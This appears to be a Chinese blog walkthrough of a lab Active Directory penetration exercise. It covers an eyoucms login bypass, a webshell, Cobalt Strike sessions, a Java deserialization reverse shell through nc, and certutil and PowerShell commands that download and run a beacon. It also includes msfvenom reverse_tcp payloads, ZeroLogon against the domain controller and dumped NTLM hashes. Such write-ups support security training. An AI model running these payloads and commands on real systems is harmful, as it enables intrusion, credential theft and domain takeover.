域渗透实战之 vsmoon

VSole2023-11-14 10:40:10

环境搭建:

搭建过程

web配置2个网卡,网卡0/0,22/0这2个网卡。

192.168.0.116

192.168.22.152

data配置22网卡和10网卡。

192.168.22.146

10.10.10.136

ad配置10网卡。

10.10.10.137

web打点

先去测试网络连通性。

端口扫描

使用nmap进行端口探测。

目录扫描

然后扫描该网站存在那些url地址。.

发现后台地址。

Nday利用

eyoucms-任意用户登录

application/api/controller/Ajax.php

/**  * 获取表单令牌  */ public function get_token($name = '__token__'){   if (IS_AJAX) {     echo $this->request->token($name);     exit;   } else {     abort(404);   } }

跟进 $this->request->token core/library/think/Request.php

/**  * 生成请求令牌  * @access public  * @param string $name 令牌名称  * @param mixed $type 令牌生成方法  * @return string  */ public function token($name = '__token__', $type = 'md5'){   $type = is_callable($type) ? $type : 'md5';   $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);   if ($this->isAjax()) {     header($name . ': ' . $token);   }   Session::set($name, $token);   return $token; }

代码主要的功能是设置session 但是值是md5 $_SERVER['REQUEST_TIME_FLOAT']); 这个是获取服务

时间戳

再看后台验证 application/admin/controller/Base.php

梳理思路 现在可以随意设置session里的name 值是md5的

现在可以随意设置session里的name 值是md5的

接着绕过 session('?admin_id') && getTime() - intval($admin_login_expire) <

$web_login_expiretime

$admin_login_expire 是服务器时间戳 md5 接着经过intval处理

public function get_token($name = '__token__'){   if (IS_AJAX) {   //  echo $this->request->token($name);     $token = call_user_func('md5', $_SERVER['REQUEST_TIME_FLOAT']);     echo getTime() - intval($token);     exit;   } else {     abort(404);   } }

漏洞复现:

发现是eyoucms, 经过搜索发现后台存在任意登录漏洞。

写一个exp文件,然后获取用户cookie。

然后替换cookie,进行登录。

然后在index.html文件写入paylaod。

获取webshell

使用蚁剑连接,成功获取webshell

内网渗透

frp内网穿透

上传frp,运行。

客户端,开启服务。

上线cs

使用cs生成木马,然后通过蚁剑进行上线

内网信息收集

hashdump获取用户hash。

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c51ba7c328cd01866885a37748816e07:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

收集域内信息。

该主机不是域内主机,为双网卡主机。

网段为0和22端。不出网机器。

使用cs进行权限提升

使用代理进行端口扫描。发现存在多个端口开放。

横向移动

发现桌面有账号.txt

和一个jar包,下载jar包,然后到本地,进行利用。

java代码审计:

使用jd-gui反编译jar包。

接收服务过来的信息。

反序列化关键代码

ObjectInputStream ois = newObjectInputStream(this.socket.getInputStream());  Message ms = (Message)ois.readObject();

这个是获取socket输入类再把序列化的内容跟反序列化变成指定的类。这里是服务器发送过来客户端的处理代码。服务端 在接收 登陆信息的时候 也应该是同样的处理。不过在转换类型的时候可能会异常退出。导致服务用过一次之后就不能使用了。从web服务器中看到的java版本是jdk1.8.0_65 这个版本是能够使用cc1这条反序列化链接的。


<dependencies>   <dependency>     <groupId>commons-collections</groupId>     <artifactId>commons-collections</artifactId>     <version>3.2.1</version>   </dependency> </dependencies>

序列化之后再进行反序列化

横向data主机

使用ysuse生成cc6.ser文件。

反弹shell

使用cs进行执行。

shell type C:\phpstudy_pro\tmp\cc66.ser | C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999

nc开启监听,成功反弹shell。

data主机上线cs

netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455
shell netsh interface portproxy add v4tov4 listenport=80connectaddress=192..168.22.152:connectport=80certutil -urlcache -split -f http://192..168.22.152:/beacon1.exe  beacon1.execertutil -urlcache -split -f http://192.168.22.152/beacon1.exe  beacon1.exepowershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon1.exe','beacon1.exe');start-process beacon.exe


使用cs生成beacon.exe,然后下载到data主机上,执行exe文件。

成功上线,发现该主机为双网段主机,10端为域内地址段。

域渗透

域内信息收集

发现域名为data.vsmoon.com

然后用mimikatz获取凭证

msf跨路由访问域控

使用msf生成后门。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=6666

-f exe > shell.exe

域控地址为:10.10.10.137

使用msf生成后门。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= 192.168. 22.129 lport=6666

-f exe > shell.exe

然后使用msf开启监听,上传shell.exe,成功上线。

搭建代理

然后设置代理。

使用nmap进行端口探测

ZeroLogon(CVE-2020-1472) 提权域控

发现该主机为域内主机,存在ZeroLogon置空漏洞。

使用脚本进行域控密码置空。

获取管理员hahsh

使用wmiexec进行横向移动

Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d:::

获取域控权限

成功获取域控权限。

利用获取到的管理员hash远程连接导出sam数据库中原来的计算机hash

恢复域控hash

恢复ntds.dit中的计算机hash并验证

.最后验证密码已经更改回去


73c7ee4d35c15fc80e7d8d9a13150a60ca9a0def38efc8482161f5f673ec677e7bec71316557b13550e4769094c59d18a3ab97553c625d24b687f5314651c79b55cf8e6fb1e21cafc463fa40166dd5deb8a6007125af1b900c67f00b8adf67468ad2e1f95aa3f9038c4670eb45e7646500d9d076e75bb93d01cf3ff748e1f9d5a77d4a978fb5434399ca8b2e21539d6882f7337fea9bc5c72c26a9b8a3a573294dc431780ad499c4eaebdd46abbcfe5b11d2393dacc253dfae8e6ce857b00af00a761379c73333f197bfd85b12da764f3ccbebb3072e03bc9698f3f382b3b28e231fb6c633cc71089896788a351deee1

shelltoken
本作品采用《CC 协议》,转载必须注明作者和本文链接
最近想总结一下,在红队渗透拿到一个目标名或者刷src时候,怎么快速信息收集和批量检测来打到一个点,往往在实际项目中就是拼手速。
红队信息收集到打点
2022-07-17 22:45:13
还有的就是除了这些查到的主站域名,往往企业会有app、公众号、小程序这些资产,也要对这些资产进行收集,然后你又拿到了一批域名。go版本2.敏感信息收集利用搜索引擎、github等托管平台配合一些dorks就可以搜到很多信息。
实验一利用case语句编写脚本,满足下列要求1.执行create时根据userfile和passfile建立用户
闲来无事,我上网随便找了一个驱动来进行测试。
此前,我们报道了威胁行为者如何通过滥用配置错误问题以及从以前的恶意软件感染中获得的薄弱或被盗凭据来针对多个云环境(例如华为云)托管加密货币挖掘恶意软件。 这一次,我们发现了一个恶意活动,该活动使用阿里云(也称为阿里云)的对象存储服务 (OSS)进行恶意软件分发和非法加密货币挖掘活动。OSS是一项服务,允许阿里云客户将Web应用程序图像和备份信息等数据存储在云端。不幸的是,这不是我们第一次看到针对
情景一 默认SSH密码批量反弹shell 情景二 dump源码 情景三 利用shell批量getflag 情景四 批量利用一句话木马种植不死马 最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本 以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~ 这里从各种情景和需求中去总结工具和脚本的使用
从目录爆破到getshell
2022-09-21 07:09:53
于是只能加班加点进行测试,终于在我大力出奇迹的干法下,拿到了一个shell。0x02 获取备份文件1、对目标站点进行目录扫描没有什么收获,只有一些403。0x03 通过钉钉KEY和SECRET获取敏感信息1、env的文件中有微信小程序、公众号、QQ、钉钉等IM通讯软件的KEY和SECRET。
3、并且文件中还泄漏了证书文件有了证书就可以调用微信支付安全级别较高的接口4、这里就没有进行利用0x04 接口文档泄露导致getshell1、泄露的文件中还有一个接口文档,在其中查到了一个文件上传的接口
溢出漏洞提权是利用目标操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权
VSole
网络安全专家